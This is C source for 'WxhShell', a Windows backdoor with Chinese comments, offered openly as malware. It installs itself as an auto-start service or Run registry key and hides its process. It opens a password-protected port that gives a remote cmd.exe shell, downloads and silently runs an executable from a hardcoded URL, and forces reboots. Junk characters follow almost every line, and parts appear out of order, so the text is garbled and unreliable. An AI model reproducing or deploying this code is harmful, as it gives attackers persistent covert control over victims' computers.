  case 'd': { %=]{~5f>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L^=>)\R2$[  
    if(Boot(SHUTDOWN)) u7/M>YJ`T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '.iUv#j4Sh  
    else { EgY]U1{  
    closesocket(wsh); J ^v_VZ3  
    ExitThread(0); v uJ~Lg{  
    } }$7Hf+G  
    break; {*|yU"  
    } mz#(\p=T  
  // 获取shell hE=cgO`QU  
  case 's': { %pMW5]H  
    CmdShell(wsh); +?c&Gazi  
    closesocket(wsh); zYep V  
    ExitThread(0); TqlUe@E  
    break; +@!9&5S A  
  } / g&mDYV|  
  // 退出 ]\jhtC=2  
  case 'x': { D^A_0@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m:h]nm  
    CloseIt(wsh); s8tI_h  
    break; sST6_b  
    } y,%w`  
  // 离开 v9<p@GY"\  
  case 'q': { d`:0kOF+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^|8cS0dK]Q  
    closesocket(wsh); A.y$.(  
    WSACleanup(); _|*j8v3  
    exit(1); rOcfPLJi0  
    break; #>233<  
        } 9`b*Y*d  
  } tp1{)|pwY6  
  } P$!Ht  
Tv(s?T6f  
  // 提示信息 @p!["v&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }x%"Oq|2]x  
} 5X  
  } ^wX_@?aKtt  
r}vr E ^Q  
  return; Pd3t~1TaW  
} N8KHNTb-M  
M~@\x]p >  
// shell模块句柄 akNJL\b  
int CmdShell(SOCKET sock) i3kI{8h  
{  ztTpMj  
STARTUPINFO si; xOkf 9k_  
ZeroMemory(&si,sizeof(si)); E&97;VH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !Zs;m`j&9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ? 56Zw"89  
PROCESS_INFORMATION ProcessInfo; \O^= Z{3y  
char cmdline[]="cmd"; bT8BJY%+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HkQ2G}<  
  return 0; ~:JKXa?  
} +oyc9PoXF  
&AoWT:Ea  
// 自身启动模式 TzIgEn~  
int StartFromService(void) p>MX}^6  
{ 02SUyv(Mt  
typedef struct ]qXfg c  
{ @]cpPW-b  
  DWORD ExitStatus; wngxVhu8Ld  
  DWORD PebBaseAddress; / {A]('t  
  DWORD AffinityMask; BkIvoW_  
  DWORD BasePriority; "U yw7  
  ULONG UniqueProcessId; )Dv"seH.  
  ULONG InheritedFromUniqueProcessId; 6/GhQ/T%D  
}   PROCESS_BASIC_INFORMATION; '2%hc\P6P  
_/KW5  
PROCNTQSIP NtQueryInformationProcess; vK6bpzI 3  
6z/8n f +u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (US8Sc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1Og9VG1^  
6R?J.&|  
  HANDLE             hProcess; zis-}K<   
  PROCESS_BASIC_INFORMATION pbi; !Dz:6r  
F2XXvxG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iA%3cpIc(Z  
  if(NULL == hInst ) return 0; -,Q<*)q{  
YpuA,r;"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1pcSfN:"1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3lKIEPf6r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~)()PO  
)hn,rmn (P  
  if (!NtQueryInformationProcess) return 0; !'+t)h9^  
)`g[k" yB3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &*0!${ B  
  if(!hProcess) return 0; of(Nq@  
Ir]b. 6B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y\j &84  
/0(4wZe~?  
  CloseHandle(hProcess); XbHcd8N T  
Bw{W-&$o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &qo'ge8p  
if(hProcess==NULL) return 0; EkJo.'0@  
V,2O `D%  
HMODULE hMod; }}ogdq  
char procName[255]; :pNZQX  
unsigned long cbNeeded; >+8mq]8^  
Q>X ;7nt0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F.O2;M|x  
."3 J;j  
  CloseHandle(hProcess); 5|AZ/!rb  
Ju:=-5r"'  
if(strstr(procName,"services")) return 1; // 以服务启动 u D . 0?*_  
U~7.aZHPx3  
  return 0; // 注册表启动 DrW]`%Ql  
} X5)>yM^N`  
uZ OUp8QQ  
// 主模块 pKp#4Js  
int StartWxhshell(LPSTR lpCmdLine) L!{^^7  
{ %S@XY3jZY  
  SOCKET wsl; 4,)=r3;&!  
BOOL val=TRUE; y 5=J6a2.  
  int port=0; !rrjA$P<v  
  struct sockaddr_in door; u} KiSZxt  
!WDdq_n*v  
  if(wscfg.ws_autoins) Install(); %d*}:295  
t7lRMCN  
port=atoi(lpCmdLine); +K+ == mO&  
B{zIW'Ld  
if(port<=0) port=wscfg.ws_port; G-rN?R.  
]Q^oc  
  WSADATA data; GTLlQy)'=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )TXn7{M:  
^GL0|G=(1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X2o5Hc)l<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rvOR[T>  
  door.sin_family = AF_INET; m.lNKIknQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V1(eebi|  
  door.sin_port = htons(port); wu s]  
3fBq~Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `M\L 6o  
closesocket(wsl); J| 3CG;+  
return 1; bEPXNN  
} s'/ug  
64zO%F*  
  if(listen(wsl,2) == INVALID_SOCKET) { &(wik#S  
closesocket(wsl); Av/|={i  
return 1; .k[Ptx>  
} ^QXUiXzl  
  Wxhshell(wsl); Ph-3,cC  
  WSACleanup(); r}XD{F}"  
E4 JS   
return 0; f *)t<1f  
SUx\qz)  
} *6k (xL  
d{DlW |_  
// 以NT服务方式启动 WukCE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s;$ eq);  
{ !a1jc_  
DWORD   status = 0; Z73 ysn}  
  DWORD   specificError = 0xfffffff; ]>x674H  
1q/z&@+B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <f:b%Pm 7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AvH/Q_-b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZP?](RV>xg  
  serviceStatus.dwWin32ExitCode     = 0; ][TS|\\  
  serviceStatus.dwServiceSpecificExitCode = 0; hu6)GOZbv  
  serviceStatus.dwCheckPoint       = 0; |[xi"E\  
  serviceStatus.dwWaitHint       = 0; MJ>(HJY6?%  
-7\RO%U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EMJ}tvL0Tp  
  if (hServiceStatusHandle==0) return; 1=#`&f5f&  
gSC8qip  
status = GetLastError(); mAXTO7  
  if (status!=NO_ERROR) ox)/*c<  
{ V GM/ed5-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ik~5j(^E-  
    serviceStatus.dwCheckPoint       = 0; J2yq|n?2gq  
    serviceStatus.dwWaitHint       = 0; ?ILNp`k  
    serviceStatus.dwWin32ExitCode     = status; a'Aru^el  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~>)cY{wE_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V8&%fxn+  
    return; wwE9|'Ok  
  } arDY@o~  
{jr>Z"/q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w)3LYF  
  serviceStatus.dwCheckPoint       = 0; /n(0nU[  
  serviceStatus.dwWaitHint       = 0; MQp1j:CK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .'>r?%a  
} b/WVWDyob/  
.bew,92  
// 处理NT服务事件,比如:启动、停止 7%L-;xcr]B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T*LbZ"A  
{ ]}C#"Xt  
switch(fdwControl) ./.E=,j  
{ wxvt:= =  
case SERVICE_CONTROL_STOP: T,jxIFrF  
  serviceStatus.dwWin32ExitCode = 0; ,ad~ 6.Z_)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0wxQ,PI1'  
  serviceStatus.dwCheckPoint   = 0; "<bL-k*H)  
  serviceStatus.dwWaitHint     = 0; gTiDV{ Ip  
  { -3ha LdRk6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0]NjsOU =  
  } 5wr0+Xo  
  return; Bxz{rR0XV  
case SERVICE_CONTROL_PAUSE: cLJ|VD7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {hVSVx8ZL  
  break; + ^4"  
case SERVICE_CONTROL_CONTINUE: bm(0raugs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *$uKg zv3  
  break; )HR'FlxOd  
case SERVICE_CONTROL_INTERROGATE: F;`es%8  
  break; Cl i k  
}; : 8(~{<R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V?%>Ex$  
} "RZ)pav?  
aU5t|S6  
// 标准应用程序主函数 #_4L/LV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `7+?1 z  
{ Hya*7l']B  
'U5 E{  
// 获取操作系统版本 mqwN<:  
OsIsNt=GetOsVer(); pLrNYo*d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yb414K  
'j>^L  
  // 从命令行安装 90teXxg=|  
  if(strpbrk(lpCmdLine,"iI")) Install(); {/ZB>l@D>8  
cXtL3T+  
  // 下载执行文件 Q >)?_O(  
if(wscfg.ws_downexe) { 1*G7Uh@K}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T3wR0,  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,tmo6D62  
} u.$.RkNMQ  
B% BO  
if(!OsIsNt) { kRZ(  
// 如果时win9x,隐藏进程并且设置为注册表启动 !X*L<)=nh  
HideProc(); =ww8,z4X  
StartWxhshell(lpCmdLine); Ab8~'<F$B  
} G }TT-  
else t55CT6Se  
  if(StartFromService()) w{#%&e(q"  
  // 以服务方式启动 6R dfF$f  
  StartServiceCtrlDispatcher(DispatchTable); ()3+! };  
else T\. 8og  
  // 普通方式启动 E=HS'XKu[K  
  StartWxhshell(lpCmdLine); }MuXN<DDb  
v#=WdaNz  
return 0; Mp"] =  
} Ypha{d  
A]Q4fD1q  
nr-VzF7zu  
!>gc!8Y'o  
=========================================== !W n'Ae9  
OjyS ?YY)b  
5#q ^lL  
|0A n| 18  
|LiFX5!\  
s^js}9]p  
" 9]7+fu  
7q$9\RR5  
#include <stdio.h> Ay"x<JB{U2  
#include <string.h> (Q#ArMMORI  
#include <windows.h> vWjK[5 M%  
#include <winsock2.h> bbA+ZLZJn  
#include <winsvc.h> AY,6Ddw  
#include <urlmon.h> a5]~%xdK  
CDoZv""  
#pragma comment (lib, "Ws2_32.lib") "x3_cA~  
#pragma comment (lib, "urlmon.lib") [Z~>7ayF+)  
Z*jhSy  
#define MAX_USER   100 // 最大客户端连接数 S7~yRIjB  
#define BUF_SOCK   200 // sock buffer ~8}"X] 4  
#define KEY_BUFF   255 // 输入 buffer m6+2r D  
V4/eGh_T  
#define REBOOT     0   // 重启 ,Sghi&Ky  
#define SHUTDOWN   1   // 关机 F''4j8  
|'Ve75 W6u  
#define DEF_PORT   5000 // 监听端口 FSc7 30rM  
P^VV8Z>\&  
#define REG_LEN     16   // 注册表键长度 QF!K$?EU[  
#define SVC_LEN     80   // NT服务名长度 *l_1T4]S  
 2Np9*[C  
// 从dll定义API 0z.`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bZ )3{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )u3<lpoTy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0v+5&Jk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t~,!a?S7  
>(:KEA  
// wxhshell配置信息 tul5:}x3  
struct WSCFG { 9bqfZ"6nXY  
  int ws_port;         // 监听端口 Zff-Hl  
  char ws_passstr[REG_LEN]; // 口令 4>$>XL1  
  int ws_autoins;       // 安装标记, 1=yes 0=no %6kD^K-  
  char ws_regname[REG_LEN]; // 注册表键名 j%~UU0(J  
  char ws_svcname[REG_LEN]; // 服务名 6;[iX`LL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }*IX34  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n3~xiQ'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )x?F1/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w4RP*Da?:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  QqtFNG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vk{0)W7  
Kgk9p`C(  
}; 3PI{LU  
f^m8 4o'  
// default Wxhshell configuration 2$\Du9+  
struct WSCFG wscfg={DEF_PORT, Z+I[  
    "xuhuanlingzhe", 'X@j  
    1, mbJ#-^}V  
    "Wxhshell", VEE:Z^U!  
    "Wxhshell", PyzW pf  
            "WxhShell Service", 9.SPxd~  
    "Wrsky Windows CmdShell Service", pz.<5  
    "Please Input Your Password: ", j31 Sc3vG  
  1, l$)pCo  
  "http://www.wrsky.com/wxhshell.exe", k NK)mE  
  "Wxhshell.exe" -`f JhQ|  
    }; l.>QO ;  
j~Rh_\>Q  
// 消息定义模块 6i{W=$ RQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aHwrFkn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ms^,]Q1{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3u+~!yz  
char *msg_ws_ext="\n\rExit."; {jggiMwo.v  
char *msg_ws_end="\n\rQuit."; {IqbO>|"O_  
char *msg_ws_boot="\n\rReboot..."; c_HYB/'  
char *msg_ws_poff="\n\rShutdown..."; oAvL?2  
char *msg_ws_down="\n\rSave to "; cz&FOP+!  
E xY ~.  
char *msg_ws_err="\n\rErr!"; .VTHZvyn  
char *msg_ws_ok="\n\rOK!"; a8A8?:  
!oM 1  
char ExeFile[MAX_PATH]; FkKx~I:  
int nUser = 0; V&)-u(s_S/  
HANDLE handles[MAX_USER]; *hFT,1WE=+  
int OsIsNt; DQKhR sC  
LD]XN'?"W  
SERVICE_STATUS       serviceStatus; gd/W8*NFR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l,,5OZw  
9K FWa0G  
// 函数声明 L!-T`R8'c  
int Install(void); \CU.'|X  
int Uninstall(void); Eh8.S)E  
int DownloadFile(char *sURL, SOCKET wsh); j YO #  
int Boot(int flag); #{i\t E  
void HideProc(void); Tw-gM-m;  
int GetOsVer(void); won%(n,HT  
int Wxhshell(SOCKET wsl); jJ|O]v$N  
void TalkWithClient(void *cs); Bam7^g'*!3  
int CmdShell(SOCKET sock); hbxG  
int StartFromService(void); U*[/F)!  
int StartWxhshell(LPSTR lpCmdLine); kAf2g  
=,,!a/U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WAkKbqJV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mA3C)V  
S%g` X   
// 数据结构和表定义 ~H)bvN^  
SERVICE_TABLE_ENTRY DispatchTable[] = NqlG=pu  
{ DkQy.  
{wscfg.ws_svcname, NTServiceMain}, pPeS4$Y  
{NULL, NULL} F4Z+)'oDr,  
}; LUw0MW(Moi  
~{RXc+  
// 自我安装 L[Tr"BW  
int Install(void) ?w /tq!  
{ SP5/K3t-*  
  char svExeFile[MAX_PATH]; /R 2:Js  
  HKEY key; u@[D*c1!H  
  strcpy(svExeFile,ExeFile); vKol@7%N  
PL%_V ?z  
// 如果是win9x系统,修改注册表设为自启动 nuhKM.a{  
if(!OsIsNt) { &kYg >X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #RZW)Br  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V\X.AGc  
  RegCloseKey(key); vYrqZie<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W[w8@OCNf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nwHi3ojD:  
  RegCloseKey(key); $WrDZU 2z  
  return 0; h]vA%VuE'E  
    } !);'Bk9o  
  } Ba6''?;G  
} 97'*Xq  
else { V= !!;KR0  
| u7vY/  
// 如果是NT以上系统,安装为系统服务 `NyvJt^<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hSo\  
if (schSCManager!=0) JEs?Rm1^.  
{ b":cj:mxL  
  SC_HANDLE schService = CreateService YM/GSSq  
  ( N1+%[Uh9)  
  schSCManager, Th'6z#h:U  
  wscfg.ws_svcname, :hCp@{  
  wscfg.ws_svcdisp, OAR#* ~q  
  SERVICE_ALL_ACCESS, 7p@qzE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %R-"5?eTtu  
  SERVICE_AUTO_START, W32bBzhL  
  SERVICE_ERROR_NORMAL, 1[:?oEI  
  svExeFile, $iupzVrro  
  NULL, Jc(tV(z  
  NULL, yG2j!D  
  NULL, Z &/b p1  
  NULL, SA)}---"  
  NULL #3\F<AJ<VB  
  ); u])N^AY"sj  
  if (schService!=0) 50uNgLs  
  { /i"L@t)\t  
  CloseServiceHandle(schService); ~t.*B& A  
  CloseServiceHandle(schSCManager); E@Q+[~H}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^MKvZ DOP  
  strcat(svExeFile,wscfg.ws_svcname); x.xfMM2n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D CcM~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '8}*erAg  
  RegCloseKey(key); ja#E}`wC4  
  return 0; : H0+}=  
    } 3?.3Z!H/  
  } ' DCrSa>  
  CloseServiceHandle(schSCManager); Qpe&_.&RE  
} u-f_,],p  
} al(t-3`<  
E[)`+:G]  
return 1; Z Z\,iT  
} I+kDx=T !  
:,]V 03  
// 自我卸载 g3Xq@RAJc  
int Uninstall(void) BD\xUjd?)Q  
{ R'uM7,7  
  HKEY key; q6%jCt2'  
D42Bm&JocO  
if(!OsIsNt) { #Bj.#5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zdlysr#  
  RegDeleteValue(key,wscfg.ws_regname); k8Qm +r<p  
  RegCloseKey(key); {I&>`?7.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pp*|EW 1  
  RegDeleteValue(key,wscfg.ws_regname); WIa4!\Ky!  
  RegCloseKey(key); \|L ~#{a  
  return 0; vxzh|uF  
  } OjCTTz  
} ^%VMp>s  
} *[) b}?  
else { {AoH  
\/xWsbG\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rs$k3   
if (schSCManager!=0) *&Np;^~  
{ 4nN%5c~=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9r+]V=  
  if (schService!=0) 3<88j&9  
  { KnaQhZ  
  if(DeleteService(schService)!=0) { 1 `hj]@.]  
  CloseServiceHandle(schService); /EZF5_`bT  
  CloseServiceHandle(schSCManager); MN}@EQvW==  
  return 0; BA4qQCS;5  
  } }S\\"SBC  
  CloseServiceHandle(schService); }Dc0 Y  
  } sk5h_[tK  
  CloseServiceHandle(schSCManager); m-xSF]q=<  
} PO%Z.ol9  
} ,edX;`#  
rwWs\~.H  
return 1; :aS8%m  
} F4xYfbwY"]  
|JC/A;ZH  
// 从指定url下载文件 w+)MrB-}  
int DownloadFile(char *sURL, SOCKET wsh) lfba   
{ 6",S$3q  
  HRESULT hr; \DI%/(?  
char seps[]= "/"; 5 ?~ ?8Hi  
char *token; d9^ uEz(  
char *file; u 0(H!  
char myURL[MAX_PATH]; I kv@}^p 7  
char myFILE[MAX_PATH]; Uo>pV 9xRG  
W3Oj6R  
strcpy(myURL,sURL); u,mC`gz  
  token=strtok(myURL,seps); > `R}ulz)  
  while(token!=NULL) ebxpKtEC  
  { Q x}\[  
    file=token; >k)}R|tJ  
  token=strtok(NULL,seps); &ejJf{id  
  } L  #c*)  
1S/KT4  
GetCurrentDirectory(MAX_PATH,myFILE); #EQwl6  
strcat(myFILE, "\\"); u/-u l  
strcat(myFILE, file); b+bgGLo  
  send(wsh,myFILE,strlen(myFILE),0); 2+y<&[A8U  
send(wsh,"...",3,0); ];P$w.0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1$2'N~`#U  
  if(hr==S_OK) dtD)VNkBZ  
return 0; mxt fKPb  
else Y3KKskhLx  
return 1; .aTu]i3l_  
E&ou(Q={  
} XUTI0  
DC4O@"  
// 系统电源模块 _+7 3Y'  
int Boot(int flag) Y7g^ ?6  
{ gmtp/?>e  
  HANDLE hToken; Jn!-Wa,  
  TOKEN_PRIVILEGES tkp; f86h"#4  
=m]|C1x  
  if(OsIsNt) { ^x8*]Sz#x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "& h;\hL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <mN.6@*{  
    tkp.PrivilegeCount = 1; 0/z=G!z\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JDeG@N$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hUN]Lm6M  
if(flag==REBOOT) { Z7>pz:,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A Ws y9  
  return 0; >1u!(-A  
} tl5}#uJ  
else { 6a$=m3ic  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x$ z9:'U  
  return 0; k@vN_Un  
} oRH ]67(Z  
  } ,rkY1w-  
  else { - "`5r6  
if(flag==REBOOT) { HQqnJ;ns<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X <QSi   
  return 0; WxO2  
} QlT{8uw )  
else { |-t>_+. J'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1o5n1 A  
  return 0; h r9rI  
} qbcaiU`-^"  
} r: Ij\YQ  
2GB)K?1M  
return 1; 6xI9 %YDy  
} 2UqLV^ZY  
EMK>7 aks  
// win9x进程隐藏模块 $d\]s]}`  
void HideProc(void) ^I2+$  
{ mY!os91KoO  
#2AKO/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XL SYE   
  if ( hKernel != NULL ) W:s`;8iM$  
  { Fb8~2N"3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wNQhz.>y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sv}k_6XgY  
    FreeLibrary(hKernel); 6jS:_[p  
  } #Xdj:T<*  
MC=pN(l  
return; Jw"fqr  
} Q[sj/  
m][i-|@M  
// 获取操作系统版本 ^&^~LKl~  
int GetOsVer(void) Js{X33^Ju  
{ KYe@2 6   
  OSVERSIONINFO winfo; r5#8V zr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z]VmTB  
  GetVersionEx(&winfo); m3Ma2jLWC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !mX-g]4E  
  return 1; 2GRL`.1  
  else MLVrL r t  
  return 0; ,dyCuH!B  
} Lmp_8q-Ej  
-l)u`f^n|  
// 客户端句柄模块 _6O\*|'6  
int Wxhshell(SOCKET wsl) `Ckx~'1M:  
{ e$ pXnMx7  
  SOCKET wsh; LHJ}I5zv  
  struct sockaddr_in client; i"4&UJu1;  
  DWORD myID; @B e7"Fm  
n*yVfI  
  while(nUser<MAX_USER) SLGo/I*  
{ mEh([ZnY  
  int nSize=sizeof(client);  :oN$w\A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jEa U;  
  if(wsh==INVALID_SOCKET) return 1; /^Ckk  
(j>a?dKDS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XXwe/>J  
if(handles[nUser]==0) : _,oD  
  closesocket(wsh); TAd~#jB9  
else <4{Jm8zJ  
  nUser++; uC2-T5n'  
  } 108cf~2&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ej;BI#gx=  
on0MhW  
  return 0; r0xmDJ@y  
} ]; CTr0  
DERhmJ;>H  
// 关闭 socket 6 +2M$3_U  
void CloseIt(SOCKET wsh) eG&3E`[  
{ v%|S)^c?:  
closesocket(wsh); VyF|d? b  
nUser--; Ja`xG{~Y7i  
ExitThread(0); #gQaNc?  
} h! yI(cY  
%qI.Qw$  
// 客户端请求句柄 sfo+B$4|  
void TalkWithClient(void *cs) TAE@KSPvo  
{ }I )%Gw  
3 *g>kRMJ  
  SOCKET wsh=(SOCKET)cs; [p:mja.6y  
  char pwd[SVC_LEN]; !Au@\/}  
  char cmd[KEY_BUFF]; Q)lN7oD  
char chr[1]; mBtXa|PJ  
int i,j; ]i)g!J8f-  
sFrerv&0  
  while (nUser < MAX_USER) { %k+G-oT5  
:b~5nftr  
if(wscfg.ws_passstr) { wR(>' ?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z\F#td{r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $F#eD 0|  
  //ZeroMemory(pwd,KEY_BUFF); Lo{g0~?x*  
      i=0; ORdS|y;:  
  while(i<SVC_LEN) { 26K sP .-  
|mS-<e8LY4  
  // 设置超时 9P 7^*f:E  
  fd_set FdRead; AJJa<c+j  
  struct timeval TimeOut; P #PRzt  
  FD_ZERO(&FdRead); 7kT&}`g.  
  FD_SET(wsh,&FdRead); }M0GPpv  
  TimeOut.tv_sec=8; g]mR;T3  
  TimeOut.tv_usec=0; rYn)E=FG/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8mh@C6U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .,l4pA9v  
J^y}3ON  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -u nK;  
  pwd=chr[0]; U)sw IisE  
  if(chr[0]==0xd || chr[0]==0xa) { %@ ,! (  
  pwd=0; ~'.SmXZs  
  break; cxig<W  
  } EjF2mkA*  
  i++; .0a,%o 8n  
    } 6o cTQ}=  
?cvV~&$gc  
  // 如果是非法用户,关闭 socket r`OC5IoQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~c\iBk  
} 3!*qB-d  
+qiI;C_P\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #-<n@qNg[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FPC^-mD  
4))5l9kc.  
while(1) { *u)#yEJ)  
QNcbl8@  
  ZeroMemory(cmd,KEY_BUFF); `z!6zo2d  
!8@8  
      // 自动支持客户端 telnet标准   t3VZjO  
  j=0; n~mP7X%wE7  
  while(j<KEY_BUFF) { ]*&`J4i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G)8H9EV  
  cmd[j]=chr[0]; ;4s7\9o  
  if(chr[0]==0xa || chr[0]==0xd) { 5\jzIB_?  
  cmd[j]=0; ZQ)vvD<  
  break; 7 ~9Lj  
  } 4R&e5!  
  j++; a)qlrtCl  
    } )/FEjo  
mJYG k_ua  
  // 下载文件 q}r{%ypf  
  if(strstr(cmd,"http://")) { % s),4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]dd TH l  
  if(DownloadFile(cmd,wsh)) 87p tab@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JF6=0  
  else .:(T}\]R  
